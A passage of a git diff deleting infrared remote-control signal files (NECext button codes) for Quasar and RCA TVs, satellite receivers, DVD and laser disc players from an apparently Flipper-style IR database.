-command: 09 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 13 01 00 00 -command: 0A 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 13 01 00 00 -command: 0B 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 13 01 00 00 -command: 0C 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 13 01 00 00 -command: 0D 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 13 01 00 00 -command: 0E 00 00 00 -# -name: AUDIO_UP -type: parsed -protocol: NECext -address: 13 01 00 00 -command: 0F 00 00 00 -# -name: AUDIO_DOWN -type: parsed -protocol: NECext -address: 13 01 00 00 -command: 10 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 13 01 00 00 -command: 11 00 00 00 -# -name: STORE -type: parsed -protocol: NECext -address: 13 01 00 00 -command: 12 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 13 01 00 00 -command: 13 00 00 00 -# -name: AFT -type: parsed -protocol: NECext -address: 13 01 00 00 -command: 14 00 00 00 -# -name: DECODER -type: parsed -protocol: NECext -address: 13 01 00 00 -command: 15 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 13 01 00 00 -command: 15 00 00 00 -# -name: RL -type: parsed -protocol: NECext -address: 13 01 00 00 -command: 16 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 13 01 00 00 -command: 17 00 00 00 -# -name: CHS -type: parsed -protocol: NECext -address: 13 01 00 00 -command: 18 00 00 00 -# -name: LNB -type: parsed -protocol: NECext -address: 13 01 00 00 -command: 19 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 13 01 00 00 -command: 1A 00 00 00 -# -name: HV -type: parsed -protocol: NECext -address: 13 01 00 00 -command: 1B 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 13 01 00 00 -command: 1C 00 00 00 -# -name: JUMP -type: parsed -protocol: NECext -address: 13 01 00 00 -command: 1D 00 00 00 -# -name: CKU -type: parsed -protocol: NECext -address: 13 01 00 00 -command: 1E 00 00 00 -# -name: AUTO_ON -type: parsed -protocol: NECext -address: 13 01 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Quasar/TV/128,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Quasar/TV/128,0.ir deleted file mode 100644 index 490bec998..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Quasar/TV/128,0.ir +++ /dev/null @@ -1,122 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: SLEEP -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 0F 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 10 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 11 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 12 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 13 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 14 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 15 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 16 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 17 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 18 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 19 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 20 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 21 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 32 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 34 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 35 00 00 00 -# -name: RTUNE -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 37 00 00 00 -# -name: RECALL -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 39 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 3D 00 00 00 -# -name: ACTION -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 52 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RCA/DSS/15,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RCA/DSS/15,-1.ir deleted file mode 100644 index fcaa3b856..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RCA/DSS/15,-1.ir +++ /dev/null @@ -1,20 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2E 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2F 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RCA/DSS/7,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RCA/DSS/7,-1.ir deleted file mode 100644 index 6ef6263dc..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RCA/DSS/7,-1.ir +++ /dev/null @@ -1,332 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: HD_DIRECT -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 03 00 00 00 -# -name: HD_TOGGLE -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 03 00 00 00 -# -name: ANTENNA -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 05 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 06 00 00 00 -# -name: MENU/SELECT -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 08 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 08 00 00 00 -# -name: SERVICE_MENU -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 09 00 00 00 -# -name: RESET -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0B 00 00 00 -# -name: RECORD_PROGRAM -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 17 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1A 00 00 00 -# -name: GO_BACK -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 27 00 00 00 -# -name: ON/OFF -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 2A 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 2A 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 2C 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 2D 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 30 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 31 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 32 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 33 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 34 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 35 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 36 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 37 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 38 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 39 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 3A 00 00 00 -# -name: SAT -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 3A 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 3B 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 3C 00 00 00 -# -name: TOGGLE_MUTE -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 3F 00 00 00 -# -name: SKIP -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 53 00 00 00 -# -name: TIMER/INCREMENT_TIME -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 53 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 56 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 57 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 58 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 59 00 00 00 -# -name: INPUT -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 61 00 00 00 -# -name: WHO -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 61 00 00 00 -# -name: WHO_/_INPUT -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 61 00 00 00 -# -name: HD_OFF -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 88 00 00 00 -# -name: HD_ON -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 8A 00 00 00 -# -name: FETCH -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 93 00 00 00 -# -name: S-OUTPUT_4:3_FULL -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 96 00 00 00 -# -name: INPUT -type: parsed -protocol: NECext -address: 07 00 00 00 -command: A3 00 00 00 -# -name: ALTERNATE_AUDIO -type: parsed -protocol: NECext -address: 07 00 00 00 -command: B0 00 00 00 -# -name: DISPLAY:_4:3_FILL -type: parsed -protocol: NECext -address: 07 00 00 00 -command: C8 00 00 00 -# -name: S-OUT_4:3/16:9_TOGLE -type: parsed -protocol: NECext -address: 07 00 00 00 -command: C8 00 00 00 -# -name: DISPLAY:_4:3_FULL -type: parsed -protocol: NECext -address: 07 00 00 00 -command: C9 00 00 00 -# -name: DISPLAY:_4:3_NORMAL -type: parsed -protocol: NECext -address: 07 00 00 00 -command: CA 00 00 00 -# -name: ANTENNA_B -type: parsed -protocol: NECext -address: 07 00 00 00 -command: CB 00 00 00 -# -name: ANTENNA_A -type: parsed -protocol: NECext -address: 07 00 00 00 -command: CC 00 00 00 -# -name: SATILITE -type: parsed -protocol: NECext -address: 07 00 00 00 -command: CD 00 00 00 -# -name: LAST_SELECTED_ANT. -type: parsed -protocol: NECext -address: 07 00 00 00 -command: CE 00 00 00 -# -name: OK_/_I -type: parsed -protocol: NECext -address: 07 00 00 00 -command: F4 00 00 00 -# -name: OK -type: parsed -protocol: NECext -address: 07 00 00 00 -command: F4 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RCA/DVD Player/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RCA/DVD Player/5,-1.ir deleted file mode 100644 index 2c9aa2eab..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RCA/DVD Player/5,-1.ir +++ /dev/null @@ -1,374 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: EXIT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 06 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 06 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 08 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 08 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 15 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 15 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 18 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 19 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 19 00 00 00 -# -name: TITLE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1A 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1C 00 00 00 -# -name: FWD_>> -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1C 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1D 00 00 00 -# -name: REV_<< -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1D 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1F 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1F 00 00 00 -# -name: TRACK_+ -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 20 00 00 00 -# -name: SKIP_FWD_>> -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 20 00 00 00 -# -name: TRACK_- -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 22 00 00 00 -# -name: SKIP_REV_<< -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 22 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 27 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2A 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 30 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 30 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 31 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 31 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 32 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 32 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 33 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 33 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 34 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 34 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 35 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 35 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 36 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 36 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 37 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 37 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 38 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 38 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 39 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 39 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 3A 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 3B 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 3C 00 00 00 -# -name: MARKER -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 50 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 56 00 00 00 -# -name: LEFT_ARROW -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 56 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 57 00 00 00 -# -name: RIGHT_ARROW -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 57 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 58 00 00 00 -# -name: DOWN_ARROW -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 58 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 59 00 00 00 -# -name: UP_ARROW -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 59 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 76 00 00 00 -# -name: ANGLE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 77 00 00 00 -# -name: SUBTITLE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 78 00 00 00 -# -name: SUBTITLE_ON/OFF -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 80 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 94 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 05 00 00 00 -command: B0 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: F4 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: F4 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RCA/Laser Disc/13,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RCA/Laser Disc/13,-1.ir deleted file mode 100644 index c8d6bcee3..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RCA/Laser Disc/13,-1.ir +++ /dev/null @@ -1,206 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: SPEED_< -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 04 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 06 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 08 00 00 00 -# -name: SELECT_> -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 10 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 15 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 19 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 1C 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 1D 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 1F 00 00 00 -# -name: FRAME_>> -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 20 00 00 00 -# -name: FRAME_<< -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 22 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 2A 00 00 00 -# -name: CHAP/TRACK_<< -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 2C 00 00 00 -# -name: CHAP/TRACK_>> -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 2D 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 30 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 31 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 32 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 33 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 34 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 35 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 36 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 37 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 38 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 39 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 3C 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 46 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 4A 00 00 00 -# -name: DISC_SIDE_B -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 64 00 00 00 -# -name: DISC_SIDE_A -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 65 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 94 00 00 00 -# -name: REPEAT_A_*_B -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 95 00 00 00 -# -name: HI-LITE_INTRO -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: A5 00 00 00 -# -name: CHAP_*_TIME -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: D0 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: D1 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RCA/TV/14,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RCA/TV/14,-1.ir deleted file mode 100644 index a598d66cb..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RCA/TV/14,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VIDEO_1 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 3A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RCA/TV/15,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RCA/TV/15,-1.ir deleted file mode 100644 index a43049050..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RCA/TV/15,-1.ir +++ /dev/null @@ -1,428 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: ANTENNA -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 05 00 00 00 -# -name: ANTENNA -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 05 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 06 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 06 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 08 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 08 00 00 00 -# -name: PIP_FREEZE -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 0C 00 00 00 -# -name: RESET -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 12 00 00 00 -# -name: PIP_MOVE -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 14 00 00 00 -# -name: REC*VCR+ -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 17 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 1A 00 00 00 -# -name: PIP_ON/OFF -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 1B 00 00 00 -# -name: PIP_ON_/_OFF -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 1B 00 00 00 -# -name: CHANNEL_-_PREVIOUS -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 27 00 00 00 -# -name: PREVIOUS_CHANNEL -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 27 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2A 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2A 00 00 00 -# -name: CHANNEL_-_DOWN -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2C 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2C 00 00 00 -# -name: CHANNEL_-_UP -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2D 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2D 00 00 00 -# -name: VOLUME_-_DOWN -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2E 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2E 00 00 00 -# -name: VOLUME_-_UP -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2F 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2F 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 30 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 30 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 31 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 31 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 32 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 32 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 33 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 33 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 34 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 34 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 35 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 35 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 36 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 36 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 37 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 37 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 38 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 38 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 38 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 39 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 39 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 3A 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 3A 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 3B 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 3B 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 3C 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 3C 00 00 00 -# -name: VOLUME_-_MUTE -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 3F 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 3F 00 00 00 -# -name: SKIP -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 53 00 00 00 -# -name: SKIP -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 53 00 00 00 -# -name: COMMERCIAL_SKIP -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 53 00 00 00 -# -name: CURSOR_-_LEFT -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 56 00 00 00 -# -name: CURSOR_-_RIGHT -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 57 00 00 00 -# -name: CURSOR_-_DOWN -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 58 00 00 00 -# -name: CURSOR_-_UP -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 59 00 00 00 -# -name: SOUND -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 5A 00 00 00 -# -name: SRS -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 5A 00 00 00 -# -name: - -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 64 00 00 00 -# -name: + -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 65 00 00 00 -# -name: INPUT_SOURCE -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: A3 00 00 00 -# -name: INPUT -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: A3 00 00 00 -# -name: SWAP -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: C3 00 00 00 -# -name: PIP_SWAP -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: C3 00 00 00 -# -name: CHANNEL_CONTROL -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: E5 00 00 00 -# -name: CURSOR_-_ENTER -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: F4 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RCA/TV/7,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RCA/TV/7,-1.ir deleted file mode 100644 index 1271da354..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RCA/TV/7,-1.ir +++ /dev/null @@ 